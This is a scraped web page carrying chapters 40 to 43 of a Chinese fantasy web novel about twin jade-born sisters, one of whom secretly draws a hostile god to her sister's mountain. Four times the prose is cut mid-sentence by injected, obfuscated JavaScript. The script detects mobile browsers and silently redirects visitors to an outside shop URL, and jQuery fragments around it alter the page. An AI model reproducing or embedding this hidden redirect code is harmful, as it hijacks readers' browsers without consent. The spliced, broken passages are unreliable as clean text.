瑾瑜目光一凛,手腕一翻横剑划破了他的嘴,“凭你也配直呼我师父的名讳。” 景星神君?在这一片时空长河之外,作为旁观者的青鸾讶异地张了张嘴。 没想到瑾瑜的师父竟是一位神君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712391|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。也不知他是天君旁支哪一脉的子嗣,是天生拥有神君血统,如帝骁一般成年即可封神,还是寻常修士自行修至了化神境。 若是前者倒也罢了,若是后者,那么这位神君的功力才是真正的深不可测。 要知道即便修士修行到了化神境,也并非一化神便能够拥有神君封号的。必得是立下过无数大功,或是实力震烁一方,才有可能获得封号,被人尊称一声神君。 她歪着脑袋开始苦思冥想,然后惊愕地发现,天君旁支似乎并没有哪一脉是姓慕的。也就是说,瑾瑜的那位神君师父并非依靠着血脉,而是全凭自己本事当上神君的。 厉害厉害,她不禁在心里称赞,如此人物,只怕实力仅在帝骁之下了。 想到这里,她不由转头盯了一眼忘忧,怪不得方才瑾瑜一使出这个剑法她便觉得很是熟悉,敢情当初在桃花林中,忘忧一上来就是对她使的同样的剑法。 这是一上来就使杀招呀。 看着那白发老头被瑾瑜暴打的惨样,青鸾额头冒出不少冷汗。 倘若当初对她使出这套剑法的不是忘忧而是瑾瑜,恐怕她就要跟那个老头一样吃不了兜着走了。 却见那老头已被瑾瑜打得无法维持人形,化为了一个巨大的蜘蛛。 婴垣原以为他是一个邪修,却没想到他是个有万年修为的蜘蛛精。 那蜘蛛精眼看自己已没有退路,打算背水一战,吐出蛛丝缠绕住瑾瑜手中的剑。那些蛛丝仿佛会自行繁衍,在触碰到长剑之后,迅速顺着剑身攀上瑾瑜的胳膊,不过眨眼之间,便将她整个人包裹在了蛛丝之中。 “瑾瑜!” “姐姐!” 祁颜与婴垣同时呼喊出声。 便在祁颜放下婴垣,准备飞身相救时,忽见那些蛛丝燃烧起青色的火焰,在火焰燃起的同时,那蜘蛛精扭曲着身体发出惨叫。 蛛丝脱落,瑾瑜右手持剑,左手掌心一翻,青色火焰于她掌心再现。 蜘蛛精到底是万载修行,知道今日是个不死不休的情形,当即打算爆体而亡,免得继续受苦,不料还是晚了一步。 瑾瑜掌心青焰化成莲花形状,在莲花盛开的一瞬,青色花雨落在了它的身上。 “你不是要炼化吾妹,还要碾碎她的生魂么?”瑾瑜一步一步自虚空走下,她行至它的面前,抬手抚上它的额间。 她做这个动作,眼神中似乎还含有悲悯之情,像极了度化世人的神女。可是她口中说出的话,却令人听了直打哆嗦,“便要叫世人知道,若再有人打子玉的主意,便会如你一般生魂破碎,神魂皆散。” 话音落地,一朵巨大的莲花盛开。不用想也知道,这青色的莲花定是以那蜘蛛精的生魂为引,不断汲取着它的精魄,才会开得如此绚烂。 瑾瑜转过身,抹了一把脸上的鲜血,背对着青色的火光,收了剑朝婴垣走来。 “妹妹,没事了,姐姐带你回家。” 40. 桃花盏 婴垣跟随瑾瑜回到了小华山中。 当晚,她被祁颜一路抱着送回了房间,在被放到床榻上的时候,半清醒半昏迷间,她一把攥住了祁颜的衣袖:“祁颜,你不要走……不要留我一个人在这里……” 祁颜看了瑾瑜一眼,微不可闻地叹了口气。 他回握住婴垣的手,安抚她:“我不走,我就待在小华山,你好好养伤。” 听到祁颜这句话,婴垣强撑着笑了一下,这才放心地昏了过去。 “她很依赖你。”瑾瑜看见这一幕,微微垂下眼帘,眼中浮现出些许落寞之意。不过她并没有伤感太久,很快就将注意力全都放在了婴垣的伤势上。 过了好一会儿,检查完婴垣所受的伤,她从方才到现在一直紧紧皱着的眉头终于缓缓松开,语气也不再像刚才那般紧绷:“还好白石老人将她的身体炼到了极致,否则刚才那样的情形,即便她的神魂支撑得住,身体也早就溃散了。接下来我要修补她的神魂,这段时间劳烦你继续留居此地,等婴垣恢复之后再决定去留吧。我觉得,她还有话想对你说。” 祁颜点了点头,欲言又止地注视着瑾瑜。 他原想问她,如若不考虑婴垣,只依从自己的内心,她是希望他走还是留?他还想问一问她,方才在星草园里,她在想些什么?她觉得婴垣有话想对他说,那么她呢,她还有没有什么话想要同他说? 可很显然瑾瑜此刻的心思全都在婴垣身上,她已不再看他,而是匆忙地将婴垣扶起,闭上双眼坐在婴垣身后为她调息。 他知道现在询问这些不合时宜。只好沉默离开,轻轻关上了门。 此后瑾瑜每日都会花两三个时辰为婴垣调息,剩下的时间则都用来替她修补神魂。 如此一个月后,婴垣终于在一日的清晨醒转。 彼时瑾瑜正疲惫地趴在床榻边小憩。 盛夏时节,即便是清晨的阳光也带了些暑气,光芒洒在她微微颤抖的睫毛上,星星点点的,令婴垣莫名想到桃林园子中的那些星草。 她并不清楚自己昏迷了多久,只记得昏迷之前,瑾瑜在一片青色的火光中走向她。 她说要带她回家。 回家么……? 婴垣愣了一下,扫视了一圈自己的房间。 从前并不觉得这房间怎样,可是此刻瞧着,她才发现房间的布置是很费了些心思的。 无论是床榻还是窗帘,一应都是粉色,门口还挂了一串贝壳制成的门帘。那些贝壳上想必撒了些星草研磨成的粉屑,此刻正在阳光下闪闪发着光。 门前的几案上还摆放着一个花瓶,里面永远盛开着不同时节的花儿,只是这段时日瑾瑜闭关为她疗伤,没有往花瓶里替换新的花,此时瓶中的花都已枯萎了。 婴垣再垂首望向瑾瑜,忽觉自己此时的心境已与从前大不一样。 她轻轻抬起手,替瑾瑜挡住刺目的阳光。 眼前的这一幕,包括屋中的陈设,所有的事物都令她感到温馨。并且,这一种温馨之情同她跟师父在一起时的感觉很不一样。 她从未有一刻像现在这般真切地感受到,眼前之人是与她血脉相连的姐姐,在这天地之间,唯有她与瑾瑜才是彼此最亲近的人。 这里就是她的家。 可是…… 她皱了皱眉,抬起另一只手抚住自己的心口。为何姐姐从不来看她,为何姐姐不早一些来接她,如若能早一些,再早一些,在遇见祁颜之前就将她接到小华山,那么一切都会与现在不一样。 她也许就不会如此排斥待在这里。 可是她真的放不下祁颜。 那晚她与死亡擦肩而过,在最绝望的时刻,脑海当中不自觉浮现的都是祁颜的身影。后来他抱着她回到小华山,在嗅见他身上的桃花香气时,她才真正感到心安。 从那一刻起她便知道,自己无论如何也无法离开祁颜。 她绝对不要同他分开。 从沉思中回过神来,她有些难过地注视着瑾瑜。但是姐姐该怎么办呢?她觉得自己遇见了过去生涯中从未遇见过的棘手难题。 瑾瑜便在此时皱着眉头醒了过来。她不放心婴垣,一直都睡得很浅,没想到睁开眼便看到婴垣已然醒转。 “你若累了,就回自己房间去睡吧,我没事了。”不待瑾瑜说话,婴垣先一步开口,随后盖着被子躺下,一副不愿意与她多说的样子。 “好……”瑾瑜站起身,替婴垣将窗前的帘子拉上,又回过身来给她掖了掖被子。 在她做这些事情的时候,婴垣只瞥眼瞧了她一下,什么也没说,最后干脆翻过身背对着瑾瑜。 “我先出去了,中午再来看你。”瑾瑜嘴上说着要出去了,实际上却并不急着走。她转过头,也看见了几案上枯萎的花,像是在同婴垣说话,又像是在叮嘱自己不要忘记将那几束枯萎的花换掉:“我还是先换一些新鲜的花儿来吧,你养伤,瞧着它们心情也好些。” 婴垣依然是背对着瑾瑜的,在听完她说的这些话后,仍旧没有什么回应,只闷在被子里低低地嗯了一声。 “婴垣,你这样是在责怪姐姐吗?”终于,瑾瑜有些支撑不住,她上前几步走到婴垣床前,试图向她解释:“对不起,我不是故意将你扔在白石老人那里,也不是故意这么长时间都不去看你的。” 见婴垣依然背对着她,没有任何反应,瑾瑜再次上前,俯下身子,隔着被子轻轻按住婴垣的肩膀。 “我之所以一直没去看你,是因为你我出自同一枚母玉,母玉当中的灵魂会互相残杀争夺唯一的出世机会。所以……所以你我体内一脉相承的纽带,反而会让我吞噬你的精魂。我越靠近你,你的力量便会越弱,直至精魂全部被我吞噬。我虽有方法压抑住吞噬你精魂的那股力量,但终究只是权宜之计,你在我的身边,时时刻刻都有性命之忧。” “婴垣,我带着你走遍四海八荒,访遍天下名医,终于求得白石老人出手相救。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712392|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说他找到了根治你先天不足之症的方法,一旦根治,便可以剪断你我之间自在母玉中便有的无形纽带,届时你便可以待在我的身边而无虞。只是这个法子十分耗时,需要你炼体百年,而在此期间我不能靠近你,否则极有可能继续吞噬你的精魄,让你几十年的辛苦都功亏一篑。” “所以我从不曾来看过你,这么多年,只能通过玉简传讯,了解你的近况……” 婴垣生硬地打断了瑾瑜:“你不必说了,我明白了。” 她的声音很凉,仔细听来还隐隐有些啜泣之意。 她并不是不知道,女娲娘娘当初补天所遗留下来的玉屑之中,能由同一块母玉诞生出两块子玉的,只有她与瑾瑜。师父也曾同她讲过,母玉之中蕴含着大道造化,可千秋万代生生不息,因此每当子玉陨落,母玉便会再次开始孕育新的子玉。换句话说,母玉们更像是能滋养生魂的容器,让一个又一个灵魂通过它来到世间。 能借助这样一个容器来到世间,生魂之间的竞争自然极其激烈。 只是她原本以为自己与姐姐一样,都是通过一番厮杀来到世间,只不过她先天不足,带有体弱之症而已。 却没有想到,原来是姐姐还在母玉之中的时候,便刻意压制着吞噬她精魂的那股力量。 是因为瑾瑜心软善良,才让她有了来到这世间的资格。她无论怎么修炼,都不可能像姐姐一样强大,因为她原本就是依附于她才能来这个世界走一遭。 强与弱,早在出生之前就确定了。 婴垣痛苦不堪地将头埋进被子里。 瑾瑜见她这副模样,只好将剩下的话都咽了回去。她知道婴垣有心结,此刻自己解释再多都是徒劳。 罢了,来日方长。 她望着婴垣的背影沉默了半晌,随后抬起手在空中结印。印成之后,她拂袖一挥,将它植入了婴垣体内。 “这是一道小型禁制,能掩盖住你的子玉气息,有了它,即便将来你离开了小华山,也不会再有人能识出你的身份。”瑾瑜将门推开,大把大把的阳光从门口倾泻而入,她站在光芒里,微微侧首,“我知道你想要离开小华山。你与祁颜的事情,你们自己解决,他如今尚在小华山中,你痊愈之后自可去寻他。” “你若选择离开,我会尊重你的决定。”顿了顿,她最后说了一句:“你若决定留下,这里永远欢迎你,永远是你的家。婴垣,四海八荒很大,天上有飞鸟,海里有游鱼,我希望你是自由的。” 听到木门吱呀一声合上的声音,婴垣终于从被子里钻出来,一动不动地注视着瑾瑜离开的方向,不知在想些什么。 她能感觉得到,瑾瑜植在她体内的那道禁制正在缓缓旋转,散发着温暖的能量。如瑾瑜所言,这是一道掩盖子玉气息的禁制,但除了掩盖气息之外,它似乎还有助她打通筋络的功效。 方才还不觉得怎样,此刻放松下来,反倒觉得疲惫至极。她轻轻吸了口气,闭上眼睛沉沉睡去。 41. 桃花盏 因婴垣尚未痊愈,所以在接下来很长一段时间里她都没有出门,只是在自己的房里调养休息。 如此又过了一月有余,她感到自己体内的能量运转起来再无阻塞之意,想必所受的伤都已大好了,这才偶尔出门溜达溜达,晒晒太阳。 如今她每日都会揽镜自照,照一番镜子后又放下来叹口气,自言自语地说一句再等等。 终于有一天,她从镜子里看见自己面色红润,不再像一个月前那般苍白憔悴,这才满意地舒了口气。 是时候去见祁颜了。 瑾瑜说的没错,她与祁颜之间的事情,需要他们自己解决。 这一段时间她养伤,祁颜竟一次都没来瞧过她,也不知道是不是在刻意躲着她。不过没有关系,他不来见她,那她便主动去找他。 他们二人之间,总归是要有一个结果的。 重新梳洗了一番,她推开门向屋外走去。 一路上她不停地思考着措辞,不仅构思了好几个版本的开场白,甚至连如果祁颜拒绝同她一起回去,她该是什么样的反应才显得洒脱都想好了。 可是走着走着,一直走到天黑,她在山中绕了好大一圈,都没有走到祁颜房间去。 驻足抬首望天,她果断转身回到自己房间。 算了,夜深了,明日再去吧。 然而明日依旧如此,她分明在心里一遍又一遍地告诉自己,不能再拖下去了,一定要同祁颜说个清楚,可是她的脚仿佛不听使唤,就是不肯走到他的房间去。 这一犹豫便又耽搁了好几日。 每一天她都会鼓足勇气踏出房门,可每一次都是同样的结果,她总是走着走着便离祁颜的房间越来越远。 她其实很清楚自己无非是在恐惧,倘若祁颜当真拒绝了她,亲口告诉她,他不愿意同她一起回去,他选择和她的姐姐在一起,那时她该怎么办。 当真一个人回去吗?还是接受这个现实,就此放下祁颜,继续和姐姐生活在一起? 她有些苦恼地抚上心口,在一块巨石上坐下。 罢了,今日依旧没有做好心理准备,明日再去找他吧。 便在这时,她听见身后桃林传来一个老人的声音,“今年夏天的星魂虫倒是格外多,不过以往都是瑾瑜大人亲自来收集,今年怎的没看见她?” 紧接着另一道声音响起,婴垣侧着耳朵去听,听出来这是忘忧的声音:“今年是师祖陨落的第一百年,师父这几日回到数山去了,想来是思念师祖了吧。” 忘忧的师祖? 那岂不就是瑾瑜的师父? 婴垣想了想,恍惚记得那晚与蜘蛛精厮杀时,他曾从瑾瑜的剑法中认出了她的师父。 好像是一位有封号的神君。 原来早在一百年前便陨落了么? 她施法隐匿了自己的气息,继续藏在桃花林后,听着忘忧与那老人的对话。 在长久的寂静之后,她听见老人沉重地叹了口气:“一百年前,那位后神杀到数山来的时候,我们都吓坏了。听说仍旧留存于世间的后神不过寥寥几个,也不知他是从哪里听到的消息,知道了瑾瑜大人的原身是子玉。” 忘忧的声音里也添了几分沉闷,不复往日轻快:“能够从数山生还,迁移到小华山来生活的不过你们几户人家,可以想见那后神的手段是何等残忍。唉,可惜师祖陨落那年我尚未化形,未曾有幸见他一面。” 老人虽亲眼目睹过数山大劫,但依然十分乐观,还在宽慰忘忧:“神君非此世间人,他从虚空而来,拥有不灭之灵,即便是后神也无法真正将他斩灭。况且,瑾瑜大人每年都在收集星魂虫复刻神君的灵魂碎片,助他重聚神魂。想必在你有生之年,是有机会见到神君的。” 提到那位后神,忘忧的声音明显紧张起来:“如今那后神在何处,可还在合虚养伤?” 一阵清脆如铃铛的声音响起,是老人在摇晃手中的星魂虫,“当年神君以星辰之力重伤了那位后神,将他打回了蛰居之地。”说到这里,她解气地笑了两声:“只要是被星辰之力所伤的人,伤未痊愈之前,都能被星魂虫感应到大致方位。忘忧姑娘你且放心,我替神君养了一辈子的星魂虫,这一点老婆子还是能保证的。” “那便好。”忘忧长舒一口气,“如今师父正在即将突破的关键时期,可千万不能被那后神寻上门来。哼,师父拥有的力量来自女娲大神的补天石,所修炼的功法又是师祖大人的星辰法则,等到功成那一日,她便能使用自然之力,届时那后神便不是她的对手了,我到时定要随她一起杀到合虚替师祖报仇!” 之后两人谈话的重心就转移到了忘忧的师祖身上去,那位早在忘忧化形之前便已陨落的神君,他身上似乎有很多传奇的故事。 忘忧此行是来替瑾瑜收集星魂虫的,她与那老人一边谈论着景星神君,一边朝桃林外婴垣所在的方向走来。 听见两人的脚步声越来越近,婴垣起身离开此处,回到了自己房间。 此时已月上中天,她却丝毫没有睡意。方才无意间听来的对话好像一粒种子落在了她的心上,被她心中乱七八糟的想法浇灌着,很快便生根发芽。 她在房中踱来踱去,紧紧皱着眉头,着了魔般反复思考着一件事情。 她很清楚自己脑海中突然冒出来的这个想法有多疯狂,可她控制不住自己,这个想法令她感到兴奋,也让她感觉到一种久违的安全。 那是一种从此不会再有人同她争夺祁颜,她可以永远同他在一起的踏实感。 夜色逐渐褪去,第一抹阳光越出天际的时候,婴垣终于平静下来。 她不再在房中踱步,而是静静地站在窗前。 望着初升的朝阳,她抿紧嘴唇,平静地做下一个决定。 此后的一段时间,她不再每日纠结是否去见祁颜,而是每天早出晚归,天一亮便往山下走,天黑透了才风尘仆仆地回到山上来。 有次忘忧下山时碰见婴垣,问了她一句急匆匆的是要去哪里。 彼时婴垣头也没抬,只说曾经同师父住在一起时,周围有很多可以闲逛的地方,她想在小华山周围找一找,看看有没有同古水镇一样好玩的城镇。 说起小华山周围好玩的地方,忘忧当即有了兴趣,她抓住婴垣如数家珍,倒豆子般把她所知晓的有趣之地都告诉了对方,还热情地邀请婴垣同她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712393|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起下山,说今日便可以带她去找好吃的。 可是婴垣想也不想便拒绝了,甩开忘忧的手,在她不解的目光中独自下了山。 不过忘忧倒也没有多想,她已经悄悄地给师父这位孪生妹妹打上了脾气古怪的标签。从此以后她便不再邀请婴垣同她一起下山,有时在山下与婴垣偶遇,也只是远远点一下头,不再主动与她搭话。 如此一来,婴垣下山就方便了许多,她也不用再躲着忘忧,反正对方看见了她基本都会当作没看见。 起初婴垣只在小华山周围闲逛,后来她涉足的地方越来越远,甚至逐渐离开了这片区域。 她先是往南走,一路走来在南方的各个中大型城镇都留下了足迹,就这样一直走到最南方的招摇之山,她才换了一个方向,重新以小华山为起点,朝东边而去。 如此过了两三个月,她已往东行了很远,再行一段距离便要抵达东海了。 这日她在海边的一座大都歇脚,饮当地独有的清凉茶时,正巧碰上一班人在茶馆门口说书。 这是一座人类聚居的城镇,所谓缺什么补什么,那些没有仙骨无法修仙的人喜欢听的无非是一些神仙精怪虚无缥缈的故事。说书人为了迎合他们的喜好,所讲的也大多是这些凡人日常里接触不到的奇闻异事。 茶馆门口的说书人将醒木一敲,热热闹闹地讲了起来。 讲的是帝师路之遥如何少年成神,又如何一步登天成为天君之师的故事。 老生常谈的故事了。 婴垣喝着茶听了一阵,面无表地情站起身来,结了账准备离开。 “却说自从上任天君羽化之后,帝师路之遥便隐居避世,头几年他还会出现在西方昆仑之境,听说同西王母关系匪浅,可后来不知怎的,他突然就消失得无影无踪,再没有人见过他了。” 门口听书的人越来越多,有人在人群中喊了一嗓子:“这话不对,有人见过他。我可是听说帝师路之遥来了东海,现在就在东海宫中呢!” 被人打断,说书人倒也不恼,乐呵呵地继续说着:“距离上任天君羽化已有上千年,这千年间关于帝师行踪的传闻数不胜数,真真假假众说纷纭,诸位自辨就是。” 说到这里,他重重地一拍醒木:“今儿个老夫要同大家说的可不仅仅是帝师一人。须知这四海八荒能者众多,今日我便与诸位分说分说。” 婴垣离开茶馆,从拥挤的人群中挤出,踏上长长的街道。 身后说书人的声音依然洪亮,每一个字都十分清晰地传进她的耳朵里。 “诸位可知,当今神君中战力最高者乃是青要山上的武罗神君,这天下之大,能与他抗衡者恐怕只有那传说中仍留存于世的几位后神。今日我要说的便是其中一位后神,大言合虚神!” 听到合虚二字,婴垣猛地停下步伐。 “四海八荒有一处最为神秘的所在,不同于隐遁于世的仙岛仙山,它既不飘忽,也不虚无,它实实在在的存在着,只是长久无人涉足。传闻那是远古之神的居所,是太阳月亮升起的地方。那个地方名叫合虚,只要自东海往东,一直到传说中的金乌所居之地,便是大言合虚神所在的地方……” 42. 桃花盏 风吹过婴垣的面庞,带着海边独有的咸湿气息。婴垣觉得鼻子酸酸的,于是抬手揉了揉。 她抬起头,望向这条街道的尽头,一直往东边的海面望去。 那个地方名叫合虚,只要自东海往东,一直到传说中的金乌所居之地,便是大言合虚神所在的地方…… 她在心里默念着这句话。 找寻了许久,打听了许久,原来就在这里。 就是她脚下的土地,只要一直往东,便是那位后神的所居之地。 既然那位后神如此厉害,那么这个距离就足够了吧。她一面想着,一面动身朝东海飞去。 海面波光粼粼,海水蓝得令她有些眩晕。她好像在一颗巨大的蓝宝石上飞行,宝石的闪耀的光芒中折射出她的身影。 天上有飞鸟,海里有游鱼。 她突然想起瑾瑜对她说的这句话。 此时的确有飞鸟在她身边滑行,它们时而遨游天际,时而掠过海面,羽毛洁白得像刚落下的雪,每一根都蓬松而柔软。 婴垣飞着飞着,有时甚至会产生错觉,觉得自己与鸟群融为了一体,也成为它们当中的一员,正漫无目的地朝天际飞去。 她就这样一直飞着飞着,飞到了夕阳西下,看见余晖一点点没入海面,脚下的海水由湛蓝变为金黄,再由金黄变得黝黑。 即将入夜,有风吹起,海水不复白天那般温顺,此刻宛如一只蛰伏在她脚下的巨兽,在那黑不见底的海水深处,仿佛有一只猩红的眼。 眼前的情景令婴垣心中生出一股惧意,她不再向前,停在了空中,目光却仍旧朝着东方远眺。 再往东,便是合虚了么? 说书人的话三分可信,七分不可信,虽然如此,此刻的她也只能一试。 这个距离,应当够了。她再次在心中默念,然后闭上双眼,抬手抚上心口。 将法力注入指尖,她缓缓解开禁制。 瑾瑜布下的禁制并不难解,那道禁制本身就是为了守护她而设,此刻将禁制解开,她瞬间感觉温暖散去,一阵又一阵刺骨的寒意自脚下的海面升起。 她睁开眼,低头去看已经开始躁动翻涌的海面,这才发现海水已经变成了黑色,每一个翻滚的波浪都像是一只巨大的触手,好像要将所有的光都吞噬。 一股腥臭味自海里传出,她屏住呼吸,抱着胳膊,强忍着刺骨的寒意和心中的恐惧,在越来越肆意狂舞的海风中瑟瑟发抖。 时间差不多了,倘若往东真是合虚,倘若那位后神当真住在那里,那么此刻他应当已经察觉到了她的子玉气息。 她接下来要做的,便是回到小华山,回到她的姐姐身边。 婴垣有些麻木地在脑海中重复着她的计划,最后望了一眼东边愈发翻涌的海面,她转身朝小华山飞去。 回到小华山的时候已是清晨,熟悉的景色映入眼帘,大片大片延绵的绿色,叮咚作响的山间清泉,还有那已经长到半人高的星草,眼前的一切都抚慰着婴垣方才的惊惧。 心脏不再狂跳,她长长地舒了口气。 “婴垣?”瑾瑜离开了小华山几月,今日刚从数山归来,一回来便看见婴垣独自站在山脚,抚着心口有些惊魂未定的样子,于是快步上前问道:“你怎么在这里?” 婴垣听到瑾瑜的声音,诧异地回过头。她显然也没有想到会在这个时候突然碰见归来的瑾瑜,一时没有反应过来,呆呆地站在原地,一动不动地望着她。 很快瑾瑜便察觉到婴垣身上的气息不对,她探寻地注视了婴垣一会儿,蹙眉问道:“你怎么把掩盖气息的禁制解除了?” 不料她的话音还未落地,婴垣忽然飞奔着朝她跑来,紧紧地抱住了她,“姐姐!” 瑾瑜怔在了原地。 刚从山上小路拐下来的忘忧也怔在了原地。 忘忧一早便收到了瑾瑜今日归来的消息,想着早一些下山来接师父,不成想刚下山便看到这魔幻的一幕。 婴垣居然飞奔着抱住瑾瑜叫姐姐? 若不是婴垣被夺舍了,便是今儿个太阳打西边出来了。 她抬首望一眼正在从东边缓缓升起的朝阳,又望一眼仍旧紧紧抱着瑾瑜的婴垣,笃定地点了点头,是了,那就是婴垣被夺舍了。 她是宁愿相信婴垣被夺舍也不肯相信她突然转了性子的。 瑾瑜显然是被婴垣这突如其来的拥抱吓了一跳,待回过神来,她的第一反应便是妹妹可能在外面受了欺负,抬手抚了抚婴垣的后背,她皱着眉头问:“你告诉姐姐,这几个月我不在小华山,是不是有人欺负你了?” 婴垣抹着眼泪摇了摇头:“没有,是我这一段时间养伤,自己想明白了许多事情,好几个月没有见你,有些想你而已。” 起先瑾瑜还不肯信,她总以为妹妹是在外面受了欺负也不敢告诉她,追问了几番婴垣都是同样的回答,她这才不再继续追问。 “好了妹妹,都没事了。”她其实不太擅长宽慰别人,也不太擅长说煽情的话,苦思冥想了一会儿,她对婴垣道:“还没吃早饭吧,姐姐带你到山外镇上去吃好吃的。” 她觉得,什么宽慰的话都不如一顿美食来得实在。 果然婴垣听了十分开心,她松开瑾瑜,转而牵住她的手,“姐姐,我解开禁制,是因为决定留在小华山中了。这里有阵法掩盖我们的气息,又有姐姐保护,我觉得我用不着那个禁制了!” 瑾瑜笑着刮了一下她的鼻子,“傻姑娘,那禁制不仅仅是帮你掩盖气息的,还能助你调息静修。不过你解开了也无妨,以后便在小华山中修行,我自会助你的。” 婴垣重重点头,“嗯,谢谢姐姐!” 在后面看着两人手拉着手下山的背影,忘忧再次抬首望了一眼太阳,确定它是从东边升起的,这才不可置信地嘟囔着婴垣竟真的转了性子。 她倒是听说过有人大病一场后彻底改变了性格,跟变了一个人似的,难道婴垣也是受了伤之后病了这一场,就此变了性格? 也不是不可能。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712394|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她说服了自己,决定不去打扰姐妹二人,独自回了山上。 自此以后婴垣好像真的变了一个人,她不再动不动就去找祁颜,而是每天缠着瑾瑜。姐妹之间好像有说不完的话,甚至有时白日里说不完的,婴垣会软磨硬泡让瑾瑜来自己的房间睡觉。两人躺在一张床上,瑾瑜规规矩矩盖着被子,她则四仰八叉地躺着,歪着脑袋继续听姐姐讲那些好玩儿的事。 婴垣自记事起便在白石老人处治疗先天不足之症,从没有离开过自己居住的地方,在遇见祁颜之后,才开始尝试着在周围不远的镇子上逛逛。因此外面的世界对于她来说,是陌生且新奇的。 虽然这两个月她去了不少的地方,但每个地方都未停留多久,更多时候她都在赶路,自然也不曾发生什么新奇的际遇。 可瑾瑜就不同了,她自母玉中诞生时便已心智成熟,不同于婴垣诞生之后只是个襁褓中的婴儿,对外界并没有什么感知能力。她曾经抱着婴垣走过许多名山大川,拜访过不少隐世高人,求他们医治妹妹。在这一路上发生过许多的事,她一路锄强扶弱,就此在四海八荒有了声名。 后来白石老人愿意相助也得益于此,他便是听说瑾瑜行走于世酷爱打抱不平,觉得她很有自己年轻时的风采,加之她是由景星神君引荐来的,这才答应医治婴垣,收婴垣为徒,结下了这个善缘。 婴垣听得很有兴味,睁着眼睛听了一夜,天都快亮了还缠着瑾瑜让她继续讲。 瑾瑜摇了摇头,望一眼窗外泛着鱼肚白的天空,哄小孩似的哄婴垣睡觉:“以后还有很多的时间,我可以慢慢跟你讲。现在睡一会儿吧。” 婴垣死活不肯,抱着瑾瑜的胳膊晃呀晃,忽而她想到了什么,不再摇晃瑾瑜的胳膊,翻过身支着脑袋望着她,“姐姐,同我讲讲你和你师父的故事吧,你的师父是一位神君吗?他是不是很厉害呀?” 听到婴垣询问自己的师父,瑾瑜的目光逐渐变得柔软,她没有立刻回答婴垣的问题,而是安静地注视着在空中沉沉浮浮的细碎尘埃。 阳光透过粉色的纱帘照进屋里,为整个房间笼上一层淡淡的光圈,那些尘埃在光圈中飞舞,好像也闪烁着星星点点的光芒。 她想起,师父将浑身是伤的她从一座破庙里捡回数山的时候,也是这样一个清晨。 那个清晨也是这样的好天气。 他逆光而来的那一刻,原本黯淡无光的庙宇瞬间变得亮堂,便连残破神像上的尘埃好似也散发出星辰的光。 那时她早已力竭,撑着最后一口气抬起头,血泪模糊中只看得清他身后的光,便是那一刻,她知道自己从地狱回到了人间。 “我的师父,他……”瑾瑜微微笑着,刚一开口,却见屋内的阳光迅速退去,屋外狂风大作,山中桃林被风吹得发出恐怖的声响。 这突如其来的变故打断了姐妹二人的交谈,瑾瑜翻身朝屋外飞去。 她感应到自己布下的法阵顷刻之间便被破坏,一股巨大的威压正以极快的速度自山外袭来。 43. 桃花盏 一个强大的域笼罩在整座小华山上。 领域之外的世界和风丽日,被领域覆盖着的小华山却阴风阵阵、蔽日无光。 时空长河中,青鸾注视着在她眼前缓缓展开的强大领域,嗅到一股熟悉的气息。 眸光微动,她与小蓝对视一眼。 是他,那位曾在慕容雪的梦境中出现过的神君。 被领域笼罩的天空散发着黑色的死气,连太阳也被黑云遮盖着,炽热的光芒被黑雾所吞噬,此刻的它宛如一轮阴冷的血月。 一道瘦削但挺拔的身影从黑雾中浮现,银发神君自血红色的太阳中降临,他平静的眸光中隐隐显现着积年的愠怒,薄唇却勾着一抹戏谑的笑。 高高在上的神正戏谑地俯瞰着大地上仓皇逃窜的蝼蚁。 没有寻找到此行的目标,他似乎是叹了口气,然后拂袖朝桃林一挥,桃林中满园的星草应声而断,紧接着一个老妇人从林中飞出,被他隔空扼住了脖颈。 “当年数山上的小精怪,你也一起逃到了这里来?”他挑了挑眉,面上浮现起一丝好奇之色,语气却是百无聊赖。 他对她并没有兴趣,还是她怀中紧紧抱着的那个瓶子让他更有兴致一点。 于是他将手一松,将老人从空中扔下,然后随手一击,把她怀中的瓶身击碎。 